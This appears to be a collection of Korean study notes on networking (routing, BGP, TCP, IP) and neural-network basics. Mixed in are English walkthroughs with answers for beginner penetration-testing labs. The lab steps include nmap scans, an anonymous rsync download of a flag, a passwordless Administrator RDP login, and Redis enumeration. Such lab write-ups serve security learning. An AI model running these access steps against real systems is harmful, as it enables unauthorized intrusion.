하지만 DV 알고리즘은 경로비용이 감소하는 경우에는 전체에 빠르게 퍼지지만, 증가하는 경우에는 그렇지 않다. 경로비용이 증가하는 경우 이는 빠르게 퍼지지 않으며, 무한 계수 문제를 발생시킨다. 무한 계수 문제는 포이즌 리버스(poison reverse) 문제를 통해 해결 할 수 있다. 경로비용이 증가한 것을 아는 노드에게 다른 경로가 존재하지 않음을 알린다.(선의의 거짓말) 결국 노드는 비용이 증가한 경로를 사용하고 이에 대한 정보가 다른 노드에게 전파된다. 그리고 다른 노드들은 자신들의 거리 정보를 다시 전파해준다. 즉, 선의의 거짓말을 통해 역경로를 차단하는 것이다. 하지만 3개 이상의 노드를 포함한 루프는 포이즌 리버스로는 감지할 수 없다.

1.3 링크 상태 알고리즘과 DV 알고리즘의 비교

2. 인터냇 AS 내부 라우팅: OSPF

AS: autonomous system(자율 시스템)

OSPF 란 개방형 최단 경로 우선(open shortest path first) 을 의미한다. OSPF는 링크 상태 정보를 플러딩(flooding) 하고 다익스트라 최소 비용 경로 알고리즘을 사용하는 링크 상태 알고리즘이다. 각 라우터는 전체 AS에 대한 완벽한 토폴로지 지도를 얻는다. OSPF에 구현된 개선사항들은 다음과 같이 요약된다.

• 보안: 라우터들 간의 정보 교환을 인증할 수 있다.(MD5)
• 복수 동일 비용 경로
• 유니캐스트와 멀티캐스트 라우팅의 통합지원
• 단일 AS 내에서의 계층 지원

자세한 내용은 [Huitema 1998, Moy 1998, RFC 2328] 참고.

3. ISP 간의 라우팅: BGP

실제 인터넷의 모든 AS는 경계 게이트웨이 프로토콜(Border Gateway Protocol) 이라고 불리는 동일한 AS간 라우팅 프로토콜을 사용한다. 일반적으로 BGP 라고 알려져 있다. BGP는 DV 알고리즘처럼 분산형 비동기실 프로토콜이다.

3.1 BGP의 역할

AS 간 라우팅 프로토콜로서 BGP는 각 라우터에게 다음과 같은 수단을 제공한다.

(1) 이웃 AS를 통해 도달 가능한 서브넷 프리픽스 정보를 얻는다. (2) 서브넷 주소 프리픽스로의 가장 좋은 경로를 결정한다.

3.2 BGP 경로 정보 알리기

AS에서 각각의 라우터들은 게이트웨이 라우터 또는 내부 라우터 다. BGP 연결은 179번 포트를 이용해 반영구적인 TCP 연결을 통해 BGP 메시지를 주고받는것이다. 이 연결은 AS 외부/내부 여부에 따라 eBGP/iBGP로 구분된다. 이를 통해 경로 정보(프리픽스 정보)를 AS간에 주고받는 것이다.

3.3 뜨거운 감자 라우팅

뜨거운 감자 라우팅(hot potato routing) 은 가장 단순한 라우팅 알고리즘이다. 라우터는 서브넷 x까지의 경로를 BGP를 통해 파악하고, 해당 경로로 연결되는 게이트 웨이 중 게이트 웨이까지의 비용이 가장 적은 것이 선택된다.(이때 AS 내부 프로토콜이 사용된다.) 즉, AS 외부의 비용은 전혀 고려하지 않는 라우팅 알고리즘이다.

3.4 IP 애니캐스트

BGP는 AS 간 라우팅 외에도 종종 DNS에서 흔히 사용되는 IP 애니캐스트 서비스를 구현하는 데도 활용된다. IP 애니캐스트 설정 단계에서 CDN 사업자는 자신의 서버 여러 대에 동일한 IP 주소를 할당하고 표준 BGP를 활용하여 이 주소를 서버 각각으로부터 알린다. BGP 라우터가 이 IP 주소에 대한 복수 개의 경로 알림 메시지를 받으면 이를 동일한 물리적 위치로의 서로 다른 경로에 대한 정보를 제공받고 있는 것으로 생각한다. 각 라우터는라우팅 테이블을 설정하면서 BGP 경로 선택 알고리즘을 수행하여 해당 IP 주소로의 최고의 경로를 골라낸다.

하지만 실제로 CDN 사업자는 일반적으로 IP 애니캐스트를 사용하지 않는다. 왜냐하면 BGP 라우팅이 변경되면 하나의 TCP 연결에 속한 패킷들이 서로 다른 복제 웹 서버로 도착될 수 있기 떄문이다.

그러나 DNS 시스템에서는 DNS 질의를 가장 가까운 루트 DNS 서버로 전달하기 위해 IP 애니캐스트가 광범위하게 사용된다.

4. SDN 제어 평면

SDN 구조의 네 가지 특징은 다음과 같이 정리된다.

(1) 플로우 기반 포워딩 (2) 데이터 평면과 제어 평면의 분리 (3) 네트워크 제어 기능이 데이터 평면 스위치 외부에 존재 (4) 프로그램이 가능한 네트워크

4.1 SDN 제어 평면

• 통신 계층: SDN 컨트롤러와 제어받는 네트워크 장치들 사이의 통신
• 네트워크 전역 상태 관리 계층: SDN 제어 평면의 궁극적인 제어 결정
• 네트워크 제어 애플리케이션 계층과의 인터페이스

4.2 OpenFlow 프로토콜

OpenFlow 프로토콜은 TCP 상에서 디폴트 포트번호 6653을 가지고 동작한다. 컨트롤러가 제어되는 스위치로 전달하는 중요한 메시지는 다음과 같다.

• 설정
• 상태 수정
• 상태 읽기
• 패킷 전송

SDN으로 제어되는 스위치에서 컨트롤러로 전다로디는 주요 메시지는 다음과 같다.

• 플로우 제거
• 포트상태
• 패킷 전달

5. 인터넷 제어 메시지 프로토콜:ICMP

ICMP는 호스트와 라우터가 서로 간에 네트워크 계층 정보를 주고받기 위해 사용된다. 전형적인 사용 형태는 오류 보고다. ICMP는 IP 데이터그램에 담겨 전송되므로 구조적으로는 IP 바로 위에 있다. ICMP 메시지에는 타입(type)과 코드(code) 필드로 구성된다. ping 프로그램은 타입8 코드0 인 ICMP 메시지를 특정 호스트에 보내고, 목적지 호스트는 에코 요청을 보고 타입0 코드0인 ICMP 에코 응답을 보낸다. 대부분의 TCP/IP 구현은 ping 서버를 운영체제에서 직접 지원한다. 즉 ping 서버는 별도의 프로세스가 아니다. Traceroute 또한 ICMP를 이용한다.

Task1 Q: What is the default port for resync? A: 873

Task2 Q:How many TCP ports are open on the remote host? A:1 nmap -sC -p- -T4 --min-rate 5000 10.129.24.188

Task3 Q: What is the protocol version used by rsync on the remote machine? A: 31

Task4 Q: What is the most common command name on Linux to interact with rsync? A: rsync

Task5 Q: What credentials do you have to pass to rsync in order to use anonymous authentication? anonymous:anonymous, anonymous, None, rsync:rsync A:none

Task6 Q: What is the option to only list shares and files on rsync? (No need to include the leading -- characters) A: list-only

rsync 10.129.24.188::public/flag.txt flag.txt

1.1 포워딩과 라우팅:

포워딩(전달)

패킷이 라우터의 입력 링크에 도달했을 때 라우터는 그 패킷을 적절한 출력 링크로 이동시켜야 한다.

라우팅

송신자가 수신자에게 패킷을 전송할 때 네트워크 계층은 패킷 경로를 결정해야한다. 이러한 경로를 계산하는 알고리즘을 라우팅 알고리즘(routing algorithm) 이라고 한다.

1.2 네트워크 서비스 모델

네트워크 서비스 모델(network service model) 은 송수신 호스트 간 패킷 전송 특성을 정의한다. 네트워크에서 제공될 수 있는 서비스들은 다음과 같다.

• 보장된 전달
• 지연 제한 이내의 보장된 전달
• 순서화 패킷 전달
• 최소 대역폭 보장
• 보안 서비스

2. 라우터 내부 구성

2.1 입력 포트 처리 및 목적지 기반 전송

프리픽스(prefix) 를 통해 40억개의 엔트리를 갖지 않아도 충분한 포워딩 테이블을 구성할 수 있다. 하드웨어 로직은 포워딩 테이블을 검색하여 대응하는 링크 인터페이스를 찾는다. 이렇게 IP 주소를 찾은('매치') 다음에 패킷을 스위치 구조로 지정된 출력 포트로 전송('액션')하는 것은 라우터뿐만 아니라 많은 네트워크 장치에서 수행되는 일반적인 '매치 플러스 액션'의 사례다.

2.2 스위칭

스위치 구조는 패킷이 입력 포트에서 출력포트로 실제로 스위칭되는 구조를 통과하므로 라우터의 핵심이다. 스위칭에는 여러 기술이 있으나 세 가지를 예로 들자면,

• 메모리를 통한 교환
• 버스를 통한 교환
• 상호연결을 통한 교환

2.3 출력 포트 처리

출력 포트 처리는 출력 포트의 메모리에 저장된 패킷을 가져와서 출력 링크를 통해 전송한다. 여기서 스케줄링, 큐 제거, 링크/물리 계층 전송 기능을 수행한다.

2.4 큐잉

입력 큐잉

라인 앞쪽을 다른 패킷이 막아서, 입력 큐에서 대기 중인 패킷이 사용할 출력 포트가 사용 중이지 않더라도 스위치 구조를 통한 전송을 기다리는 것을 HOL(head-of-the-line) 차단 이라고 한다.

출력 큐잉

각 패킷이 N개의 입력포트에서 하나의 출력포트로 전송될 때, 출력 포트 전송속도 한계로 인해, 출력 링크를 통한 전송 큐에서 대기가 일어난다. 이 때 추가적으로 패킷이 출력링크로 전송되는 경우 패킷 손실이 발생할 수 있다. 이를 해결하기 위해 명시적 혼잡 알림, AQM(Active Queue Management) 알고리즘으로 알려진 정책이 제안되거나 분석되고 있다.(RED, PIE, CoDell)

2.5 패킷 스케줄링

패킷 스케줄링 방식은 다음과 같이 나눌 수 있다.

• FIFO
• 우선순위 큐잉: 선점형과 비선점형으로 나눌 수 있다.
• 라운드 로빈과 WFQ

3. 인터넷 프로토콜(IP)

3.1 IPv4 데이터그램 포맷

• 버전번호: 4비트로 IP 프로토콜 버전을 명시
• 헤더 길이: 4비트로 실제 페이로드 시작지점 명시
• 서비스 타입
• 데이터그램 길이: 헤더와 데이터의 전체 길이
• 식별자, 플래그, 단편화 오프셋: IPv6에서는 단편화를 허용하지 않는다.
• TTL(time-to-live)
• 프로토콜: 이 필드는 최종 목적지에 도착했을 때만 사용된다.
• 헤더 체크섬
• 출발지/목적지 IP 주소
• 옵션
• 데이터(페이로드)

3.2 IPv4 주소 체계

• 인터페이스(interface): 호스트와 물리적 링크 사이의 경계

IP주소는 32비트(4바이트)로, 다른 바이트와 점(.)으로 구분하는 십진 표기법을 사용한다.

• 호스트들의 인터페이스들과 하나의 라우터 인터페이스로 연결된 네트워크는 서브넷(subnet) 을 구성한다고 말한다. /12와 같은 표현은 서브넷 마스크(subnet mask) 로 왼쪽 n비트가 서브넷 주소라는 것을 가리킨다.

인터넷 주소 할당방식에는 CIDR(Classess InterDomain Routing)이라는 것이 있다. /x는 최상위 비트 수를 나타내며, 네트워크 프리픽스를 가리킨다. CIDR이 채택되기 전에는 클래스 주소체계를 사용했으나 이를 통해 충분한 기관의 수를 지원하기에는 수가 너무 부족했다.

호스트 주소 획득: 동적 호스트 구성 프로토콜

기관은 ISP로부터 주소 블록을 획득하고, 기관 내 호스트에게 IP 주소를 할당한다. 이때 동적 호스트 구성 프로토콜(Dynamic Host Configurateion Protocol, DHCP) 을 사용한다. DHCP를 통해 호스트는 IP 주소를 자동으로 얻을 수 있다. 1단계: DHCP 서버 발견 2단계: DHCP 서버 제공 3단계: DHCP 요청 4단계: DHCP ACK

3.3 네트워크 주소 변환(NAT)

네트워크 주소 변환(NAT) 을 통해 SOHO 네트워크 확산에 대응할 수 있게 되었다.

3.4 IPv6

데이터그램 포맷은 다음과 같다.

• 확장된 주소 기능: IP주소 크기가 128비트로 확장되었다.
• 헤더 간소화: 40바이트로 헤더가 간소화 되었다.
• 흐름 레이블링
• 버전: IP 버전 번호
• 트래픽 클래스
• 페이로드 길이
• 다음 헤더: 데이터그램의 내용이 전달될 프로토콜을 구분한다.
• 홉 제한
• 출발지/목적지 주소
• 데이터

4. 일반화된 포워딩 및 소프트웨어 기반 네트워크(SDN)

일반화된 포워딩에 대한 논의는 OpenFlow 기반이며, 이는 '매치 플러스 액션' 포워딩의 개념화 및 컨트롤러 그리고 SDN 개념을 개척한 매우 가시적인 표준이다. 패킷 매치 필드에는 진입포트, 링크 계층, 네트워크 계층, 트랜스 포트 계층에 관한 정보가 담겨있다. 이 정보들과 매치를 수행하고 포워딩, 삭제, 필드 수정의 액션을 수행한다. 매치 플러스 액션 작업은 사실 제한된 형태의 프로그래밍 가능성(programmability)을 보여준다. IP 주소 외의 정보가 추가적으로 매치됨에 따라 간단한 포워딩 뿐만 아니라, 로드 밸런싱, 방화벽을 구현할 수 있다.

5. 미들박스

미들박스의 정의는 다음과 같다.

출발지 호스트와 목적지 호스트 사이의 데이터 경로에서 IP 라우터의 정상적이고 표준적인 기능과는 별도로 기능을 수행하는 모든 미들박스 [RFC3234]

미들박스의 서비스는 크게 세 가지 유형이 있다.

• NAT 변환
• 보안 서비스(방화벽, DPI, IDS(침입탐지 시스템))
• 성능 향상

Task1 Q: What does the 3-letter acronym RDP stand for? A: Remote Desktop Protocol

Task2 Q: What is a 3-letter acronym that refers to interaction with the host through a command line interface? A: cli(command line interface)

Task3 Q: What about graphical user interface interactions? A: gui

Task4 Q: What is the name of an old remote access tool that came without encryption by default and listens on TCP port 23? A: telnet

Task5 Q: What is the name of the service running on port 3389 TCP? A: ms-wbt-server

Task6 Q: What is the switch used to specify the target host's IP address when using xfreerdp? A: /v:

Task7 Q: What username successfully returns a desktop projection to us with a blank password? A: Administrator

sudo apt-get install freerdp2-x11 xfreerdp /v:10.129.168.84 /u:administrator /cert-ignore

If you don't put /cert-ignore, then you can not access server because of certificate verification failure.

2. More

2.1 CLI - Remote Access Tools

Telnet is a rudimentary example of CLI. Telnet runs on port 23 TCP, and SSH which is more secure counterpart of telnet runs on port 22 TCP. SSH stnads for Secure Shell Protocol. This adds layers of authentication and encryption. SSH uses public-key cryptography.

2.2 GUI - Remote Access Tools

TeamViewer is not pre-installed on operating system. But Microsoft Remote Desktop Connections is intergrated with OS. So this software can be misconfigured. Misconfiguration results in errors.

In our case, Administrator has no password. So I gained access so easily without hard effort.

단순 퍼셉트론

퍼셉트론은 다수의 신호를 입력으로 받아 하나의 신호를 출력한다.

복층 퍼셉트론

퍼셉트론의 '층'을 쌓아 기존에는 표현하지 못하던 XOR 게이트 같은 것을 구현할 수 있음

2. 활성화 함수

활성화 함수(activation function) 이란 입력 신호의 총합을 출력 신호로 변환하는 함수를 일반적으로 부르는 말이다. 임계값을 경계로 출력이 바뀌는 활성화 함수는 계단 함수(step function) 이라고 한다.

2.1 시그모이드 함수

$h(x) = \frac{1}{1+\exp(-x)}$

시그모이드 함수(sigmoid function) 는 신경망에서 자주 이용하는 활성화 함수다.

2.2 시그모이드 함수와 계단 함수 구현 및 비교

비선형 함수를 쓰는 이유

2.3 ReLU 함수

ReLU(Rectified Linear Unit) 함수는 입력이 0을 넘으면 그 입력을 그대로 출력하고, 0 이하면 0을 출력하는 함수다.

$$ h(x) = \begin{cases} x (x > 0)\ 0(x \le 0)\ \end{cases} $$

3. 다차원 배열의 계산

3.1 다차원 배열

shape : 배열의 형상 ndim : 배열의 차원

3.2 행렬의 곱: dot product

dot: dot product 계산

dot product 계산을 위한 조건에 유의하라. (if matrix A is mn, then matrix B should be n\p)

4. 신경망 구현

5. 출력층 설계

5.1 항등함수와 소프트맥스 함수 구현

항등 함수(identity function) 은 입력을 그대로 출력한다.

분류에서 사용하는 소프트맥스 함수(softmax function) 의 식은 다음과 같다. $$ y_k = \frac{exp(a_k)}{\sum\limits_{i=1}^{n}exp(a_i)} $$

여기서 n은 출력층의 뉴런수, $y_k$는 그 중에서 k번째 출력임을 뜻한다. 소프트맥스의 출력은 모든 입력신호로부터 화살표를 받는다.

5.2 개선된 소프트맥스 함수

$$ y_k = \frac{exp(a_k)}{\sum\limits_{i=1}^{n}exp(a_i)} = \frac{Cexp(a_k)}{C\sum\limits_{i=1}^{n}exp(a_i)} = \frac{exp(a_k+logC)}{\sum\limits_{i=1}^{n}exp(a_i+logC)} = \frac{exp(a_k+C')}{\sum\limits_{i=1}^{n}exp(a_i+C')} $$

이는 지수 함수의 큰 값으로 인한 오버플로를 방지하기 위해 식을 개선 한 것이다. $C$ 가 임의의 정수라 했을 때, 지수 함수를 계산할 때에는 어떤 정수를 더하거나 빼도 결과는 바뀌지 않는다는 것이다. 일반적으로 $C'$에 대입되는 값은 입력 신호 중 최댓값을 이용하는 것이 일반적이다. 소프트맥스 함수의 출력값을 전부 합하면 1이 되므로, 소프트맥스 함수의 출력을 '확률'로 해석할 수 있다. $exp(x)$는 단조 증가 함수이므로, 소프트맥스 함수를 적용해도 각 원소의 대소 관계는 변하지 않는다. 신경망을 이용한 분류에서는 일반적으로 가장 큰 출력을 내는 뉴런에 해당하는 클래스로만 인식하므로, 소프트맥스 함수를 생략해도 된다.(자원 절약을 위해 현업에서도 생략된다.)

학습 단계에서는 소프트맥스 함수를 사용하지만, 학습한 모델을 통해 미지의 데이터에 대해 추론을 수행할 때에는 소프트맥스 함수를 생략한다.

5.3 출력층의 뉴런 수 정하기

'분류' 에서 출력층의 뉴런 수는 분류하고 싶은 클래스의 수로 정하는 것이 일반적이다.

6. 손글씨 숫자 인식

6.1 MINIST 데이터셋

MINIST 데이터셋은 손글씨 숫자 이미지 집합이다. 훈련 이미지는 60,000장, 시험 이미지가 10,000장 준비되어 있다.

6.2 신경망의 추론 처리

아래 깃허브 저장소에 교재 예제가 담겨있다. 링크

• 정규화: 데이터를 특정 범위로 변환하는 처리
• 전처리: 신경망의 입력 데이터에 특정 변환을 가하는 것.

6.3 배치 처리

추론 처리를 이미지 1개가 아닌 여러개를 묶음으로 처리할 수 있다. 이 경우, I/O를 통해 데이터를 읽는 횟수가 줄어들고, CPU, GPU로 순수 계산을 수행하는 비율이 높아지기 때문이다.

• 배치: 하나로 묶은 입력 데이터

7. 요약

• 신경망에서는 활성화 함수로 시그모이드 함수 혹은 ReLU 함수를 이용한다.
• 넘파이의 다차원 배열을 통해 신경망을 효율적으로 구현할 수 있다.
• 기계학습 문제는 회귀와 분류로 나눌 수 있다.
• 출력층 활성화 함수로 회귀에서는 항등함수, 분류에서는 소프트맥스 함수를 주로 사용한다.
• 분류에서는 출력층의 뉴런 수를 분류하려는 클래스의 수와 같게 설정한다.
• 입력 데이터를 묶은 것을 배치라 하며, 이 배치 단위로 진행하면 결과를 훨씬 빠르게 얻을 수 있다.

5.1 TCP 연결

TCP는 애플리케이션 프로세스가 데이터를 다른 프로세스에게 보내기 전에, 두 프로세스가 서로 핸드셰이크를 먼저 햐여 하므로 연결지향형(oconnection-oriented) 이다. TCP 연결은 회선 교환 네트워크에서와 같은 종단 간의 TDM(Time Division Multiplexing) 이나, FDM(Frequency Division Multiplexing)이 아니다. TCP는 전이중 서비스(full-duplex service) 를 제공한다. 또한 TCP연결은 항상 단일 송신자와 단일 수신자 사이의 점대점(point-to-point) 이다. TCP에서 두 호스트 간 3개의 세그먼트가 보내지기 때문에 세 방향 핸드셰이크라고 부르기도 한다.

MSS: 최대 세그먼트 크기(maximum segment size) TCP 세그먼트: TCP 헤드와 클라이언트 데이터를 하나로 짝지어 구성함

5.2 TCP 세그먼트 구조

TCP 헤더는 일반적으로 20바이트다.(UDP보다 12바이트 크다). 헤더는 다음과 같은 항목으로 구성된다.

• 출발지와 목적지 포트번호
• 체크섬 필드
• 32비트 순서 번호 필드/ 32비트 확인응답 번호 필드
• 16비트 수신 윈도(receive window) 필드: 흐름제어에 사용된다.
• 4비트 헤더 길이 필드
• 선택적이고 가변적인 길이의 옵션필드
• 6비트의 플래그 필드(ACK, RST, SYN, FIN, PSH, URG 등)

순서 번호와 확인응답 번호

호스트 B가 호스트 A에게 데이터를 전송할 때, 호스트 A가 자신의 세그먼트에 삽입하는 확인응답 번호는 호스트 A가 호스트 B로부터 기대하는 다음 바이트의 순서다.

5.3 왕복 시간(RTT) 예측과 타임아웃

불필요한 재전송을 막기 위해 타임아웃 설정을 위한 RTT 예측은 매우 중요하다. 이를 위한 대표적인 예측치 계산 방법은, 직전 RTT 예측값과 직전 RTT 실제값을 가중 평균하여 구한다. 이때 가중치는 임의로 설정한다. 이를 지수적 가중 이동 평균(exponential weighted moving average, EWMA) 라고 부른다. 이를 활용하여 DevRTT도 계산하고(직전 DevRTT와 RTT 예측 오차의 EWMA), TimeoutInterval = EstimatedRTT+4*DevRTT로 계산한다.

5.5 흐름 제어

TCP는 송신자가 수신자의 버펄을 오버플로시키는 것을 방지하기 위해 애플리케이션에게 흐름 제어 서비스(flow-control service) 를 제공한다. 이는 혼잡 제어(congestion control) 로 알려져 있다. TCP는 송신자가 수신 윈도라는 변수를 유지하여 흐름 제어를 제공한다. 수신 윈도는 수신 측에서 가용한 버퍼 공간이 얼마나 되는지를 송신자에게 알려주는데 사용된다.

5.6 TCP 연결 관리

1단계: 먼저 클라이언트 측 TCP 는 서버 TCP에게 특별한 TCP 세그먼트를 송신한다. 2단계: TCP SYN 세그먼트르 포함하는 IP 데이터그램이 서버 호스트에 도착하면, 서버는 TCP SYN 세그먼트를 추출한다. 그리고 클라이언트 TCP로 연결 승인 세그먼트를 송신한다. 3단계: 연결 승인 세그먼트를 수신하면, 클라이언트는 연결에 버퍼와 변수를 할당한다. 그 다음에 클라이언트 호스트는 서버로 또 다른 세그먼트를 송신한다.

nmap으로 포트 6789를 목적지 포트로 하는 TCP SYN 세그먼트를 보내면 가능한 세 가지 결과가 있다.

• TCP SYNACK 세그먼트를 수신한다. 이것은 애플리케이션이 목표 호스트상에서 TCP 포트 6789를 가지고 실행됨을 의미한다.
• TCP RST 세그먼트를 받는경우, 목표 호스트의 TCP 포트 6789를 가진 애플리케이션을 실행하지 않는 것을 의미한다. 다만 어떤 방화벽에도 차단되지 않음을 알 수 있다.
• 출발지가 아무것도 받지 않는 경우, 방화벽에 의해 차단되어 목표 호스트에 전혀 도달하지 않음을 의미하기 쉽다.

6. 혼잡 제어의 원리

6.1 혼잡의 원인과 비용

혼잡의 원인과 비용에 관한 몇 가지 사실은 다음과 같다.

• 패킷 도착률이 링크 용량에 근접함에 따라 큐잉 지연이 커진다.
• 송신자는 버퍼 오버플로 때문에 버려진 패킷을 보상하기 위해 재전송을 수행해야한다.
• 커다란 지연으로 인한 송신자의 불필요한 재전송은 라우터가 패킷의 불필요한 복사본들을 전송하는 데 링크 대역폭을 사용하는 원인이 된다.
• 패킷이 경로상에서 버려질 때, 버려지는 지점까지 패킷을 전송하는 데 사용된 상위 라우터에서 사용된 전송 용량은 낭비된 것이다.

6.2 혼잡 제어에 대한 접근법

혼잡 제어에 대한 접근 법은 크게 다음과 같이 구분할 수 있다.

• 종단 간의 혼잡 제어: 혼잡 제어에 대한 종단 간의 접근방식에서 네트워크 계층은 혼잡 제어 목적을 위해 트랜스포트 계층에게 어떤 직접적인 지원도 제공하지 않는다.
• 네트워크 지원 혼잡 제어: 여기에서, 라우터들은 네트워크 안에서 혼잡 상태와 관련하여 송신자나 수신자 또는 모두에게 직접적인 피드백을 제공한다.

7. TCP 혼잡 제어

7.1 전통적인 TCP 혼잡 제어

• 혼잡 윈도(cwnd): TCP 송신자가 네트워크로 트래픽을 전송할 수 있는 속도에 제약을 가한다.
• 송신자의 속도는 대략 cwnd/RTT바이트/초다. cwnd의 값을 조절하여, 송신자는 링크에 데이터를 전송하는 속도를 조절할 수 있다.

혼잡 제어를 위한 TCP는 다음과 같은 처리 원칙을 갖는다.

• 손실된 세그먼트는 혼잡을 의미하며, 이에 따라 TCP 전송률은 한 세그먼트를 손실했을 때 줄여야 한다.
• 확인응답된 세그먼트는 네트워크가 송신자의 세그먼트를 수신자에게 전송된다는 것이고, 이에 따라 이전에 확인응답되지 않은 세그먼트에 대해 ACK가 도착하면 송신자의 전송률은 증가할 수 있다.
• 대역폭 탐색

이에 따른 TCP 혼잡 제어 알고리즘은 아래에 제시되어 있다.

• 슬로 스타트
• 혼잡 회피
• 빠른 회복 <= TCP 리노 채택

7.2 네트워크 지원 명시적 혼잡 알림과 지연 기반 혼잡 제어

명시적 혼잡 알림(Explicit Congestion Notification)

ECN 비트의 한 설정은 라우터가 정체를 겪고 있음을 나타내기 위해 라우터에서 사용된다. 그런 다음 이 혼잡 표시는 표시된 IP 데이터그램에서 목적지 호스트로 전달된 후, 송신 호스트에게 알려진다.

지연 기반 혼잡 제어

TCP 베가스에서는 모든 확인응답된 패킷에 대한 출발지에서 목적지까지의 경로의 RTT를 측정하고 이를 이용해 패킷 손실 이전에 더 일찍 전송 속도를 줄인다. 즉 혼잡 시작을 사전에 감지한다. TCP 베가스는 TCP 송신자가 파이프를 가득 채우되 그 이상으로 채우지 않도록 해야한다는 직관적인 원칙하에 동작한다.

7.3 공평성

8. 트랜스포트 계층 기능의 발전

QUIC

애플리케이션 설계자가 애플리케이션 계층에 항상 '자신의 프로토콜을 확장'할 수 있으며, 이는 QUIC에서 취한 접근방식이다. QUIC의 주요 기능은 다음과 같다.

• 연결지향적이고 안전함
• 애플리케이션 레벨의 스트림들을 다중화 할 수 있음.
• 신뢰적이고 TCP 친화적인 혼잡 제어 데이터 전송

다시한번 말하지만 QUIC는 두 종단 사이에 신뢰적이고 혼잡 제어된 데이터 전송을 제공하는 애플리케이션 계층 프로토콜이라는 점을 다시 강조한다.

Task1 Q: Which TCP port is open on the machine? A: 6379

Task2 Q: Which service is running on the port that is open on the machine? A: Redis

Task3 Q: What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database

A: In-memory Database

Task4 Q: Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments. A: redis-cli

Task5 Q: Which flag is used with Redis command-line utility to specify the hostname? A: -h

Task6 Q: ONce connected to Redis server, which command is used to obtaing the information and statistics about Redis server? A: info

Task7 Q: What is the version of the Redis server being used on the target machine? A: 5.0.7

Task8 Q: Which command is used to select the desired database in Redis? A: select

Task9 Q: How many keys are present inside the database with index 0? A: 4

Task10 Q: Which command is used to optain all the keys in a database? A: keys *

2. Redis

2.1 No SQL

Resdis is NoSQL. In Redis, data is stored in memory not disks. So Redis is faster than other SQL. Redis has vary type of data structure. A picture below, show them.

2.2 Command list

https://redis.io/docs/latest/commands/